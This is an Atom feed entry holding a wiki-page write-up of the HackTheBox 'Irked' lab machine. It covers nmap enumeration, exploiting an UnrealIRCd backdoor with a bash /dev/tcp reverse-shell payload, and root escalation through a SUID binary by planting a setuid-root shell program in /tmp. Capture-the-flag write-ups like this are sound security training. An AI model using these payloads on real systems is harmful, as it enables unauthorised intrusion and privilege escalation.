<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FIrked</id>
	<title>Write-ups/HTB/Irked - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FIrked"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Irked&amp;action=history"/>
	<updated>2026-04-21T16:26:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Irked&amp;diff=1172&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 20:42, 4 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Irked&amp;diff=1172&amp;oldid=prev"/>
		<updated>2022-01-04T20:42:54Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Irked&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = IRC, UnrealIRCd Backdoor&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-78.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another Linux box from TJ_nulls OSCP prep. This was was pretty interesting box with an attack vector I have not yet seen before. This is a pretty straight forward box, with no trickery. You can use metasploit to get initial access, but as I&amp;#039;ve stated earlier I will refrain from using metasploit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;Edit: After looking at IPPSEC&amp;#039;s walkthrough video I noticed that I missed some steps. Even though I got root access to this machine, there was a steg in the photo on the webserver. In djmardovs folders there was a .backup file with a hint pointing to steg. Djmardovs password was in the photo. You could now SSH in to his account. &amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I ran the usual NMAP scans. There were many open ports on this box, but the most interesing ports were &amp;#039;&amp;#039;&amp;#039;6697 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;8067&amp;#039;&amp;#039;&amp;#039; with the service &amp;#039;&amp;#039;&amp;#039;IRC &amp;#039;&amp;#039;&amp;#039;running on them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌─[root@parrotos]─[/home/aghanim/Desktop/HTB/irked]&lt;br /&gt;
└──╼ #nmap -sV -sC -A -p- --min-rate 10000 10.10.10.117 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-03 20:48 GMT&lt;br /&gt;
Stats: 0:02:44 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan&lt;br /&gt;
SYN Stealth Scan Timing: About 99.99% done; ETC: 20:51 (0:00:00 remaining)&lt;br /&gt;
Warning: 10.10.10.117 giving up on port because retransmission cap hit (10).&lt;br /&gt;
Nmap scan report for 10.10.10.117&lt;br /&gt;
Host is up (0.043s latency).&lt;br /&gt;
Not shown: 65522 closed tcp ports (reset)&lt;br /&gt;
PORT      STATE    SERVICE  VERSION&lt;br /&gt;
22/tcp    open     ssh      OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)&lt;br /&gt;
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)&lt;br /&gt;
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)&lt;br /&gt;
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)&lt;br /&gt;
80/tcp    open     http     Apache httpd 2.4.10 ((Debian))&lt;br /&gt;
|_http-title: Site doesnt have a title (text/html).&lt;br /&gt;
|_http-server-header: Apache/2.4.10 (Debian)&lt;br /&gt;
111/tcp   open     rpcbind  2-4 (RPC #100000)&lt;br /&gt;
| rpcinfo:&lt;br /&gt;
|   program version    port/proto  service&lt;br /&gt;
|   100000  2,3,4        111/tcp   rpcbind&lt;br /&gt;
|   100000  2,3,4        111/udp   rpcbind&lt;br /&gt;
|   100000  3,4          111/tcp6  rpcbind&lt;br /&gt;
|   100000  3,4          111/udp6  rpcbind&lt;br /&gt;
|   100024  1          35586/tcp6  status&lt;br /&gt;
|   100024  1          44788/tcp   status&lt;br /&gt;
|   100024  1          47670/udp   status&lt;br /&gt;
|_  100024  1          54828/udp6  status&lt;br /&gt;
2488/tcp  filtered moy-corp&lt;br /&gt;
6697/tcp  open     irc      UnrealIRCd&lt;br /&gt;
8067/tcp  open     irc      UnrealIRCd&lt;br /&gt;
15636/tcp filtered unknown&lt;br /&gt;
16471/tcp filtered unknown&lt;br /&gt;
27107/tcp filtered unknown&lt;br /&gt;
44788/tcp open     status   1 (RPC #100024)&lt;br /&gt;
47072/tcp filtered unknown&lt;br /&gt;
60340/tcp filtered unknown&lt;br /&gt;
65534/tcp open     irc      UnrealIRCd&lt;br /&gt;
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).&lt;br /&gt;
TCP/IP fingerprint:&lt;br /&gt;
OS:SCAN(V=7.92%E=4%D=1/3%OT=22%CT=1%CU=36187%PV=Y%DS=2%DC=T%G=Y%TM=61D3621E&lt;br /&gt;
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)SEQ(&lt;br /&gt;
OS:SP=107%GCD=1%ISR=10A%TI=Z%CI=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3&lt;br /&gt;
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7&lt;br /&gt;
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW&lt;br /&gt;
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF&lt;br /&gt;
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=&lt;br /&gt;
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=&lt;br /&gt;
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI&lt;br /&gt;
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)&lt;br /&gt;
&lt;br /&gt;
Network Distance: 2 hops&lt;br /&gt;
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
TRACEROUTE (using port 8080/tcp)&lt;br /&gt;
HOP RTT      ADDRESS&lt;br /&gt;
1   38.30 ms 10.10.14.1&lt;br /&gt;
2   38.53 ms 10.10.10.117&lt;br /&gt;
&lt;br /&gt;
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 228.62 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick google search and I find that there is a backdoor vulnerability in &amp;#039;&amp;#039;&amp;#039;UnrealIRCd&amp;#039;&amp;#039;&amp;#039; which I can use to exploit and get initial access to the box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To get initial access I will use[https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py Ranger11Danger&amp;#039;s] python script. The payload in the script is&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 s.sendall((f&amp;#039;AB; {gen_payload(python_payload)} \n&amp;#039;).encode())&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
which sends the character &amp;#039;&amp;#039;&amp;#039;AB&amp;#039;&amp;#039;&amp;#039;, the &amp;#039;&amp;#039;&amp;#039;payload&amp;#039;&amp;#039;&amp;#039;, and then a &amp;#039;&amp;#039;&amp;#039;newline&amp;#039;&amp;#039;&amp;#039; command. The payload here will be a reverse shell. &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;bash -i &amp;gt;&amp;amp; /dev/tcp/{local_ip}/{local_port} 0&amp;gt;&amp;amp;1&amp;#039;&amp;lt;/code&amp;gt;&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a netcat listener on your attacking machine and run the script with the command&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
python3 exploit.py -payload bash target_ip target_port&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It didnt work the first couple of times, so I had to run it multiple times for it to work. I got &amp;#039;&amp;#039;&amp;#039;shell &amp;#039;&amp;#039;&amp;#039;with the user &amp;#039;&amp;#039;&amp;#039;ircd&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I couldt read the &amp;#039;&amp;#039;&amp;#039;user.txt&amp;#039;&amp;#039;&amp;#039; since it was owned by another user named &amp;#039;&amp;#039;&amp;#039;djmardov. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rooting this box was kinda similar to the box &amp;#039;&amp;#039;&amp;#039;lame&amp;#039;&amp;#039;&amp;#039;, with abusing files with SUID bits. Listing all the files with SUID bit using this command&amp;lt;code&amp;gt; &amp;#039;&amp;#039;&amp;#039;find / -type f -perm -04000 -ls 2&amp;gt;/dev/null&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt; we get a list of files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
404330  356 -rwsr-xr--   1 root     messagebus   362672 Nov 21  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper&lt;br /&gt;
394848   12 -rwsr-xr-x   1 root     root         9468 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device&lt;br /&gt;
412270   16 -rwsr-xr-x   1 root     root        13816 Sep  8  2016 /usr/lib/policykit-1/polkit-agent-helper-1&lt;br /&gt;
410047  552 -rwsr-xr-x   1 root     root       562536 Nov 19  2017 /usr/lib/openssh/ssh-keysign&lt;br /&gt;
408970   16 -rwsr-xr-x   1 root     root        13564 Oct 14  2014 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper&lt;br /&gt;
409724 1060 -rwsr-xr-x   1 root     root      1085300 Feb 10  2018 /usr/sbin/exim4&lt;br /&gt;
424276  332 -rwsr-xr--   1 root     dip        338948 Apr 14  2015 /usr/sbin/pppd&lt;br /&gt;
394369   44 -rwsr-xr-x   1 root     root        43576 May 17  2017 /usr/bin/chsh&lt;br /&gt;
410065   96 -rwsr-sr-x   1 root     mail        96192 Nov 18  2017 /usr/bin/procmail&lt;br /&gt;
394371   80 -rwsr-xr-x   1 root     root        78072 May 17  2017 /usr/bin/gpasswd&lt;br /&gt;
393000   40 -rwsr-xr-x   1 root     root        38740 May 17  2017 /usr/bin/newgrp&lt;br /&gt;
409644   52 -rwsr-sr-x   1 daemon   daemon      50644 Sep 30  2014 /usr/bin/at&lt;br /&gt;
412272   20 -rwsr-xr-x   1 root     root        18072 Sep  8  2016 /usr/bin/pkexec&lt;br /&gt;
424835   12 -rwsr-sr-x   1 root     root         9468 Apr  1  2014 /usr/bin/X&lt;br /&gt;
394373   52 -rwsr-xr-x   1 root     root        53112 May 17  2017 /usr/bin/passwd&lt;br /&gt;
394368   52 -rwsr-xr-x   1 root     root        52344 May 17  2017 /usr/bin/chfn&lt;br /&gt;
1062682    8 -rwsr-xr-x   1 root     root         7328 May 16  2018 /usr/bin/viewuser&lt;br /&gt;
914060   96 -rwsr-xr-x   1 root     root        96760 Aug 13  2014 /sbin/mount.nfs&lt;br /&gt;
783487   40 -rwsr-xr-x   1 root     root        38868 May 17  2017 /bin/su&lt;br /&gt;
783401   36 -rwsr-xr-x   1 root     root        34684 Mar 29  2015 /bin/mount&lt;br /&gt;
792821   36 -rwsr-xr-x   1 root     root        34208 Jan 21  2016 /bin/fusermount&lt;br /&gt;
792836  160 -rwsr-xr-x   1 root     root       161584 Jan 28  2017 /bin/ntfs-3g&lt;br /&gt;
783402   28 -rwsr-xr-x   1 root     root        26344 Mar 29  2015 /bin/umount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The one file that struck out was &amp;#039;&amp;#039;&amp;#039;viewuser&amp;#039;&amp;#039;&amp;#039;, which is not a known binary. Taking a closer look at the binary we find that it is calling on a nother binary &amp;#039;&amp;#039;&amp;#039;/tmp/listusers. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220104210816.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So in the &amp;#039;&amp;#039;&amp;#039;tmp &amp;#039;&amp;#039;&amp;#039;folder we create a &amp;#039;&amp;#039;&amp;#039;listusers &amp;#039;&amp;#039;&amp;#039;binary, which when we run &amp;#039;&amp;#039;&amp;#039;/bin/viewuser&amp;#039;&amp;#039;&amp;#039; will be called by the binary.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ircd@irked:/tmp$ cat listusers.c&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
        setuid(0);&lt;br /&gt;
        system(&amp;quot;/bin/sh -i&amp;quot;);&lt;br /&gt;
		# The -i makes the shell interactive.&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
ircd@irked:/tmp$ gcc listusers.c -o listusers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what this binary does is setting our &amp;#039;&amp;#039;&amp;#039;UID&amp;#039;&amp;#039;&amp;#039; to &amp;#039;&amp;#039;&amp;#039;0 &amp;#039;&amp;#039;&amp;#039;(root), the running the command &amp;#039;&amp;#039;&amp;#039;/bin/sh&amp;#039;&amp;#039;&amp;#039; with&amp;#039;&amp;#039;&amp;#039; -i &amp;#039;&amp;#039;&amp;#039;(interactive) parameter. We then compile it with &amp;#039;&amp;#039;&amp;#039;gcc &amp;#039;&amp;#039;&amp;#039;and run &amp;#039;&amp;#039;&amp;#039;viewuser&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220104211008.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see, we are now &amp;#039;&amp;#039;&amp;#039;root&amp;#039;&amp;#039;&amp;#039; and can read both the &amp;#039;&amp;#039;&amp;#039;user.txt &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;root.txt&amp;#039;&amp;#039;&amp;#039;. Interesting enough the password to &amp;#039;&amp;#039;&amp;#039;djmardov&amp;#039;&amp;#039;&amp;#039;&amp;#039;s user was in the &amp;#039;&amp;#039;&amp;#039;root &amp;#039;&amp;#039;&amp;#039;directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220104211050.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>